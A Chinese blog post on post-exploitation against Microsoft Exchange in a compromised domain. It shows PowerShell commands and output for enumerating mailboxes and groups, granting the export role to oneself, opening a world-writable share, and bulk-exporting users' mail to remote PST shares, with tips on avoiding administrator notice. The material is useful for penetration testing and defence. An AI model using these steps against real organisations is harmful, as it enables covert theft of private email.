域渗透之Exchange Server

2017 年 8 月 3 日 计算机与网络安全 hui81c2 安全客

信息安全公益宣传,信息安全知识启蒙。

加微信群回复公众号:微信群;QQ群:16004488

加微信群或QQ群可免费索取:学习教程


Microsoft Exchange Server 做为消息与协作系统。它提供了业界最强的扩展性、高可靠性、安全性和高处理性能,被许多企业、学校、政府等作为主要邮件系统。在内网渗透测试中,对邮件系统的把控会让你事半功倍,尤其是和AD绑在一起的Exchange。

通过本文你将了解Ps下对Exchange邮件的基本操作,这也同样适用于运维管理,当然相比博大精深的ES是远远不够的。以下环境为Exchange server 2013,也同样适用于2010等版本。

你可以在开始菜单中通过 Exchange Management Shell (EMS)管理器快捷方式连接到 exchange server,初始化过后你将得到一个Powershell命令窗口。如果连接失败,请相信我,一定是你内存分配的不够,默认安装的Exchange也至少需要分配6个G内存。

如果一切都没有问题,并且你已经获取了域控权限,那就开始我们的旅程吧!

导出邮箱列表


查看数据库

邮箱数据库是创建和存储邮箱的粒度的单位。邮箱数据库以 Exchange 数据库 (.edb) 文件的形式存储。存储结构分为直接附加存储 (DAS)和存储区域网络 (SAN)。我们可以通过 Get-MailboxDatabase cmdlet 从服务器或组织中检索一个或多个邮箱数据库对象。一般为了高可用性至少有两台服务器组成DGA,你可以通过-Server参数指定检索服务器。

1

2

3

4

5

[PS] C:\Windows\system32>get-mailboxdatabase -Server "exchange"

Name                           Server          Recovery        ReplicationType

----                           ------          --------        ---------------

Mailbox Database 0574336487    EXCHANGE        False           None

Mailbox Database Test01        EXCHANGE        False           None

格式化筛选指定属性,如数据库文件路径

1

2

3

4

[PS] C:\>Get-MailboxDatabase -Identity 'Mailbox Database Test01' |  Format-List Name,EdbFilePath,LogFolderPath

Name          : Mailbox Database Test01

EdbFilePath   : C:\Program Files\Microsoft\Exchange Server\V15\Mailbox\Mailbox Database Test01\Mailbox Database Test01.edb

LogFolderPath : C:\Program Files\Microsoft\Exchange Server\V15\Mailbox\Mailbox Database Test01

ECP数据库管理位置

获取组

在域控中新建过OU(Organizational Unit)之后,我们往往会建立Group来管理用户。查询组的意义在于——往往你会看到有个组名字叫做IT,当然这一步和net group大同小异。通过Get-DistributionGroup cmdlet 查询现有通讯组。

1

2

3

4

5

[PS] C:\Windows\system32>Get-DistributionGroup

Name                          DisplayName                   GroupType                     PrimarySmtpAddress

----                          -----------                   ---------                     ------------------

EXchange New OU               EXchange New OU               Universal                     ENO@ruos.org

IT Security                   IT Security                   Universal, SecurityEnabled    it-security@ruos.org

查看通讯组IT Security详细信息

1

2

3

4

5

6

7

8

9

[PS] C:\Windows\system32>Get-DistributionGroup "IT Security" | fl

RunspaceId                             : efbb60f9-5ef1-4a8d-9b94-c3f102e576c3

GroupType                              : Universal, SecurityEnabled

SamAccountName                         : IT Security

BypassNestedModerationEnabled          : False

ManagedBy                              : {ruos.org/Users/Administrator, ruos.org/Users/admin}

MemberJoinRestriction                  : Closed

MemberDepartRestriction                : Closed

...

导出成CSV文件

1

2

3

4

# 查询通讯组

Get-DistributionGroup | `

Select-Object DisplayName,Name,Alias,GroupType,WindowsEmailAddress,@{n="ManagedBy";e={$_.ManagedBy -Join ";"}} ,OrganizationalUnit | `

Export-CSV test.csv -NoType

获得组成员

通过Get-DistributionGroupMember cmdlet 可以查找现有的通讯组成员。

1

2

3

4

5

6

7

[PS] C:\Windows\system32>Get-DistributionGroupMember -Identity "ENO"

Name                                                        RecipientType

----                                                        -------------

Administrator                                               UserMailbox

a                                                           UserMailbox

ming xiao                                                   UserMailbox

user1                                                       UserMailbox

获得用户admin(可以是域用户格式)邮箱信息


获取用户邮箱信息。通过以上步骤,我们大概知道了如何查询用户组中的成员,下面我们将使用Get-Mailbox cmdlet 获取邮箱对象和属性。再配合Get-MailboxStatistics cmdlet 获取有关邮箱的信息,例如,邮箱大小、所包含的邮件数、以及最后访问时间。

基本使用

1

2

3

Get-Mailbox | format-tables Name,WindowsEmailAddress

Get-Mailbox testuser | fl * | Out-File c:\mb.txt

Get-Mailbox | ForEach-Object {$_.Name}

获取组织单元内用户

1

2

3

4

5

Get-Mailbox -OrganizationalUnit "New OU"

[PS] C:\Windows\system32>get-mailboxstatistics -identity admin | Select DisplayName,ItemCount,TotalItemSize,LastLogonTime

DisplayName                                       ItemCount TotalItemSize                 LastLogonTime

-----------                                       --------- -------------                 -------------

admin                                                    11 90.88 KB (93,056 bytes)       2016/11/29 19:59:08

Format-Table 模式查看

使用反引号`换行,输入结束后再回车执行。

1

# 查看所有邮箱信息Get-Mailbox -ResultSize Unlimited | `Get-MailboxStatistics | `Sort-Object TotalItemSize –Descending | `ft DisplayName,@{label="Mailbox Size (MB)";expression={$_.TotalItemSize.Value.ToMB()}

导出到CSV文件(这将是你想要的)

1

2

3

4

$mb = Get-Mailbox -ResultSize Unlimited$output = foreach($obj in  $mb ){$ms = (Get-MailboxStatistics $obj.Identity -WarningAction SilentlyContinue )$obj | Select-Object DisplayName,Name,WindowsEmailAddress,OrganizationalUnit,Database,`

@{L="Mailbox Size (MB)";E={ $ms.TotalItemSize.Value.ToMB() }},`

@{L="LastLogonTime";E={ $ms.LastLogonTime }}

}#Write-Output $output $output | Export-CSV test.csv -NoType

或者通过ECP导出

导出PST邮件


在了解了用户的邮箱使用情况后,我们下一步将邮箱数据导出为PST文件,以方便本地查看和搜索。

要在Exchange Server 2010 SP1中使用用户邮箱导出功能,只能使用EMS进行操作。而且操作的Exchange服务器管理员必须要成为“邮箱导入导出角色”。

Exchange Server 2007 可以使用 export-Mailbox cmdlet

导出邮件分为以下几个步骤:

Step1 为用户添加导出权限

Step2 导出邮件

Step3 查看导出请求及删除导出请求

查看角色(默认只有组织管理成员才有导入/导出权限)

使用Get-ManagementRole cmdlet 查看组织内已创建的管理角色。

1

2

3

4

[PS] C:\Windows\system32>Get-ManagementRole

Name                                                        RoleType

----                                                        --------

Mailbox Import Export                                       MailboxImportExport

Get-ManagementRoleAssignment cmdlet 检索管理角色分配。

1

2

3

4

[PS] C:\Windows\system32>Get-ManagementRoleAssignment -role "Mailbox Import Export" | Format-List RoleAssigneeName

RoleAssigneeName : Organization Management

RoleAssigneeName : Administrator

RoleAssigneeName : admin

为用户Administrator添加邮箱导入导出角色

New-ManagementRoleAssignment cmdlet 可以将管理角色分配给管理角色组、管理角色分配策略、用户或通用安全组 (USG)。

添加角色后需要重启EMS

1

2

3

4

5

6

7

8

[PS] C:\Windows\system32>New-ManagementRoleAssignment -Name "Import Export_Domain Admins"  `

>>-User "Administrator" -Role "Mailbox Import Export"

>>

DataObject                   : Import Export_Domain Admins

User                         : ruos.org/Users/Administrator

AssignmentMethod             : Direct

Identity                     : Import Export_Domain Admins

EffectiveUserName            : Administrator

删除管理角色分配

1

Remove-ManagementRoleAssignment "Import Export_Domain Admins" -Confirm:$false

1

2

3

New-MailboxExportRequest cmdlet 将主邮箱或存档的内容导出到 .pst 文件。

net share 创建“读/写权限”共享文件夹

net share sharename$=c:\share /GRANT:Everyone,FULL

将user1收件箱中的所有邮件导出到 .pst

1

New-MailboxExportRequest -Mailbox user1 -IncludeFolders "#Inbox#" -FilePath \10.2.2.163\maildata\user1.pst

Inbox(收件箱)、SentItems(已发送邮件)、DeletedItems(已删除邮件)、Drafts(草稿)

导出用户 Tony 在 2012 年 1 月 1 日之前收到的邮件正文中包含“公司”和“利润”的邮件。

1

New-MailboxExportRequest -Mailbox Tony `-ContentFilter {(body -like "*company*") `-and (body -like "*profit*") `-and (Received -lt "01/01/2012")} `-FilePath "\\SERVER01\PSTFileShare\Tony_CompanyProfits.pst"

之后你可以将其载入到Outlook中进行查看。

查看导出请求状态

1

2

3

4

5

Get-MailboxExportRequest cmdlet 可以查看使用 New-MailboxExportRequest cmdlet 启动的正在执行的导出请求的详细状态。

[PS] C:\Windows\system32>Get-MailboxExportRequest

Name                                           Mailbox                                        Status

----                                           -------                                        ------

MailboxExport                                  ruos.org/Users/a                               Completed

删除全部或部分完成的导出请求

1

[PS] C:\Windows\system32>Remove-MailboxExportRequest -Identity "a\MailboxExport"

删除所有状态为“已完成”的导出请求

1

Get-MailboxExportRequest -Status Completed | Remove-MailboxExportRequest -Confirm:$false

或者通过ECP导出,缺点是不能过滤时间,并且管理员会收到导出完成通知。


以上介绍了如何通过EMS导出用户邮件,但是谁也不能保证你不会和管理员撞个满怀。值得庆幸的是,Exchange Server支持PowerShell远程操作。

Exchange PowerShell


远程 PowerShell 提供了从命令行管理 Exchange Online的方式,利人又利己。

创建用户凭证

1

$Credential = Get-Credential

但这样会弹出凭据请求输入框,使用 PSCredential 创建非交互式登陆凭据。

1

$pass = ConvertTo-SecureString "PlainTextPassword" -AsPlainText -Force$Credential = New-Object System.Management.Automation.PSCredential ("Domain01\User01", $pass)

创建登陆会话

1

$Session = New-PSSession -ConfigurationName Microsoft.Exchange `-ConnectionUri http://<FQDN of Exchange 2016 Mailbox server>/PowerShell/ `-Authentication Kerberos -Credential $Credential

导入会话

1

Import-PSSession $Session

移除会话

1

Remove-PSSession $Session

Scripting with the Exchange Management Shell


通过SHELL的方式执行脚本。

适用于: Exchange Server 2013

exchange默认根目录在  :\Program Files\Microsoft\Exchange Server\V15\bin

执行自定义脚本

需要开启远程脚本执行权限

1

2

3

Set-ExecutionPolicy RemoteSigned

Script

# filename:test.ps1# export to pstforeach($user in "admin","user1","user2"){New-MailboxExportRequest -Mailbox $user -ContentFilter { Received -gt "11/29/2016" } -FilePath "\\192.168.6.2\sharename$\$user.pst"Start-Sleep -Seconds 3}

从cmd启动脚本

64位系统下存在文件系统重定向机制,powershell路径为 C:\windows\sysnative\WindowsPowerShell\v1.0\powershell.exe

1

PowerShell.exe -command ". 'C:\Program Files\Microsoft\Exchange Server\V15\bin\RemoteExchange.ps1'; Connect-ExchangeServer -auto; C:\test.ps1"

查看角色权限

1

PowerShell.exe -command ". 'C:\Program Files\Microsoft\Exchange Server\V15\bin\RemoteExchange.ps1'; Connect-ExchangeServer -auto; Get-ManagementRoleAssignment -role \"Mailbox Import Export\""

结束语


Exchange和AD的紧密性使得很多Cmdlet Reference都能达到同样的目的,比如查询用户登陆的源IP地址,我们还能通过Exchange的IIS日志来查找。但有时候遗憾的是,用户虽然在使用邮箱,工作机却没有加入域中。这种情况我们就需要配合其他信息进一步确认。


▼ 点击阅读原文查看更多精彩文章

登录查看更多
1

相关内容

Mailbox is lightning-fast email desinged for iPhone.It checks your email from the cloud and syncs to your phone securely.
【北京大学】面向5G的命名数据网络物联网研究综述
专知会员服务
37+阅读 · 2020年4月26日
TensorFlow Lite指南实战《TensorFlow Lite A primer》,附48页PPT
专知会员服务
69+阅读 · 2020年1月17日
【大规模数据系统,552页ppt】Large-scale Data Systems
专知会员服务
60+阅读 · 2019年12月21日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
95+阅读 · 2019年12月4日
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
PC微信逆向:两种姿势教你解密数据库文件
黑客技术与网络安全
16+阅读 · 2019年8月30日
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
浅谈 Kubernetes 在生产环境中的架构
DevOps时代
11+阅读 · 2019年5月8日
PHP使用Redis实现订阅发布与批量发送短信
安全优佳
7+阅读 · 2019年5月5日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
React Native 分包哪家强?看这文就够了!
程序人生
13+阅读 · 2019年1月16日
浅谈浏览器 http 的缓存机制
前端大全
6+阅读 · 2018年1月21日
VIP会员
相关资讯
在K8S上运行Kafka合适吗?会遇到哪些陷阱?
DBAplus社群
9+阅读 · 2019年9月4日
PC微信逆向:两种姿势教你解密数据库文件
黑客技术与网络安全
16+阅读 · 2019年8月30日
msf实现linux shell反弹
黑白之道
49+阅读 · 2019年8月16日
浅谈 Kubernetes 在生产环境中的架构
DevOps时代
11+阅读 · 2019年5月8日
PHP使用Redis实现订阅发布与批量发送短信
安全优佳
7+阅读 · 2019年5月5日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
21+阅读 · 2019年1月22日
React Native 分包哪家强?看这文就够了!
程序人生
13+阅读 · 2019年1月16日
浅谈浏览器 http 的缓存机制
前端大全
6+阅读 · 2018年1月21日
Top
微信扫码咨询专知VIP会员